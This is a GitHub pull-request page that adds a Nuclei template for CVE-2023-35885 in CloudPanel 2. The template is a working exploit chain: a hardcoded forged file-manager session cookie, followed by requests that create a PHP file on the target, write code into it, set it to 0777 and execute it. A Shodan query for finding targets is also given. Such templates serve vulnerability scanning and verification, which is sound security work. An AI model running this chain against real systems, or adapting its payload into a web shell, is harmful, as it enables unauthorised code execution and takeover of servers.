Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2023-35885.yaml #7771

Merged
merged 6 commits into from
Jul 28, 2023
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 67 additions & 0 deletions http/cves/2023/CVE-2023-35885.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
id: CVE-2023-35885

info:
name: Cloudpanel 2 < 2.3.1 - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
CloudPanel 2 before 2.3.1 has insecure file-manager cookie authentication.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-35885
- https://www.datack.my/fallingskies-cloudpanel-0-day/
- https://github.com/datackmy/FallingSkies-CVE-2023-35885
- https://www.cloudpanel.io/docs/v2/changelog/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-35885
cwe-id: CWE-565
epss-score: 0.00063
cpe: cpe:2.3:a:mgt-commerce:cloudpanel:*:*:*:*:*:*:*:*
metadata:
verified: true
shodan-query: title:"Cloudpanel"
vendor: mgt-commerce
product: cloudpanel
tags: cve,cve2023,cloudpanel,kev,rce,instrusive

variables:
session: "ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY="
str1: "{{rand_base(10)}}"
str2: "{{randstr}}"

http:
- raw:
- |
GET /file-manager/ HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
- |
POST /file-manager/backend/makefile HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
Content-Type: application/x-www-form-urlencoded

id=/htdocs/app/files/public/&name={{str1}}.php
- |
POST /file-manager/backend/text HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
Content-Type: application/x-www-form-urlencoded

id=/htdocs/app/files/public/{{str1}}.php&content=<?php echo "{{str2}}"; ?>
- |
POST /file-manager/backend/permissions HTTP/1.1
Host: {{Hostname}}
Cookie: clp-fm={{session}}
Content-Type: application/x-www-form-urlencoded

id=/htdocs/app/files/public/{{str1}}.php&permissions=0777
- |
GET /{{str1}}.php HTTP/2
Host: {{Hostname}}

matchers:
- type: dsl
dsl:
- body_5 == str2
Loading